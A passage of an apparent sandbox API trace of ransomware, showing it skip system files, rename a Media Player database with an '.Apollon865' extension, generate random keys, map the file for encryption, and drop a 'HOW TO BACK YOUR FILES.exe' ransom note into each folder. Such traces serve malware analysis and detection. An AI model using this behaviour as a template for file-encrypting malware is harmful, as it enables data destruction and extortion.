	[0038.004] lstrcmpiW (lpString1="MLS_3.wmdb", lpString2="Apollon865") returned 1
	[0038.004] lstrlenW (lpString=".dll") returned 4
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".dll") returned 1
	[0038.004] lstrlenW (lpString=".lnk") returned 4
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".lnk") returned 1
	[0038.004] lstrlenW (lpString=".ini") returned 4
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".ini") returned 1
	[0038.004] lstrlenW (lpString=".sys") returned 4
	[0038.004] lstrcmpiW (lpString1="LocalMLS_3.wmdb", lpString2=".sys") returned 1
	[0038.004] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15
	[0038.004] lstrlenW (lpString="bak") returned 3
	[0038.004] lstrcmpiW (lpString1="mdb", lpString2="bak") returned 1
	[0038.004] lstrlenW (lpString="ba_") returned 3
	[0038.004] lstrcmpiW (lpString1="mdb", lpString2="ba_") returned 1
	[0038.004] lstrlenW (lpString="dbb") returned 3
	[0038.004] lstrcmpiW (lpString1="mdb", lpString2="dbb") returned 1
	[0038.004] lstrlenW (lpString="vmdk") returned 4
	[0038.004] lstrcmpiW (lpString1="wmdb", lpString2="vmdk") returned 1
	[0038.005] lstrlenW (lpString="rar") returned 3
	[0038.005] lstrcmpiW (lpString1="mdb", lpString2="rar") returned -1
	[0038.005] lstrlenW (lpString="zip") returned 3
	[0038.005] lstrcmpiW (lpString1="mdb", lpString2="zip") returned -1
	[0038.005] lstrlenW (lpString="tgz") returned 3
	[0038.005] lstrcmpiW (lpString1="mdb", lpString2="tgz") returned -1
	[0038.005] lstrlenW (lpString="vbox") returned 4
	[0038.005] lstrcmpiW (lpString1="wmdb", lpString2="vbox") returned 1
	[0038.005] lstrlenW (lpString="vdi") returned 3
	[0038.005] lstrcmpiW (lpString1="mdb", lpString2="vdi") returned -1
	[0038.005] lstrlenW (lpString="vhd") returned 3
	[0038.005] lstrcmpiW (lpString1="mdb", lpString2="vhd") returned -1
	[0038.005] lstrlenW (lpString="vhdx") returned 4
	[0038.005] lstrcmpiW (lpString1="wmdb", lpString2="vhdx") returned 1
	[0038.005] lstrlenW (lpString="avhd") returned 4
	[0038.005] lstrcmpiW (lpString1="wmdb", lpString2="avhd") returned 1
	[0038.005] lstrlenW (lpString="db") returned 2
	[0038.005] lstrcmpiW (lpString1="db", lpString2="db") returned 0
	[0038.005] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865") returned 80
	[0038.005] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.apollon865"), dwFlags=0x1) returned 1
	[0038.082] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0038.082] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=69740) returned 1
	[0038.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0038.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0038.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0038.083] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0038.084] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0038.084] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0038.084] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11370, lpName=0x0) returned 0x14c
	[0038.087] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11370) returned 0x120000
	[0038.207] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0038.208] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0038.208] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0038.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0038.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0038.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0038.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0038.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0038.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0038.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0038.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0038.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0038.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0038.208] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0038.209] CloseHandle (hObject=0x14c) returned 1
	[0038.209] CloseHandle (hObject=0x15c) returned 1
	[0038.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0038.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0038.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0038.212] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="Apollon865.txt.exe") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2=".") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="..") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="windows") returned -1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="bootmgr") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="temp") returned -1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="pagefile.sys") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="boot") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="ids.txt") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="ntuser.dat") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="perflogs") returned 1
	[0038.212] lstrcmpiW (lpString1="Sync Playlists", lpString2="MSBuild") returned 1
	[0038.212] lstrlenW (lpString="Sync Playlists") returned 14
	[0038.212] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 69
	[0038.212] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Sync Playlists" | out: lpString1="Sync Playlists") returned="Sync Playlists"
	[0038.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0038.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599bd8
	[0038.212] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0038.212] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 0
	[0038.212] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0038.212] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0038.212] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0038.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0038.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0038.212] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 68
	[0038.212] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0038.212] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.213] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.257] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0038.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.257] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.257] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.257] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.257] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.257] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.257] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.257] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0038.257] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0038.258] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0038.258] lstrlenW (lpString="en-US") returned 5
	[0038.258] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*") returned 70
	[0038.258] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0038.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0038.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599bd8
	[0038.258] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0038.258] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.258] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.258] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0038.258] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0038.258] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0038.258] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0038.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0038.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0038.258] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned 74
	[0038.258] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0038.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.264] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.264] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0038.264] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.264] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.264] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.264] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.264] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.264] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.264] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.264] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.264] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="Apollon865.txt.exe") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2=".") returned 1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="..") returned 1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="windows") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="bootmgr") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="temp") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="pagefile.sys") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="boot") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="ids.txt") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="ntuser.dat") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="perflogs") returned -1
	[0038.264] lstrcmpiW (lpString1="00010C6E", lpString2="MSBuild") returned -1
	[0038.264] lstrlenW (lpString="00010C6E") returned 8
	[0038.264] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*") returned 76
	[0038.265] lstrcpyW (in: lpString1=0x2d3e5e6, lpString2="00010C6E" | out: lpString1="00010C6E") returned="00010C6E"
	[0038.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0038.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x599bd8
	[0038.265] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0038.265] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.265] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.265] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0038.265] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0038.265] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0038.265] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0038.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0038.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0038.265] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned 83
	[0038.265] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0038.265] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.265] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.306] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.306] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ef60bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0038.307] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.307] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.307] lstrcmpiW (lpString1=".", lpString2=".") returned 0
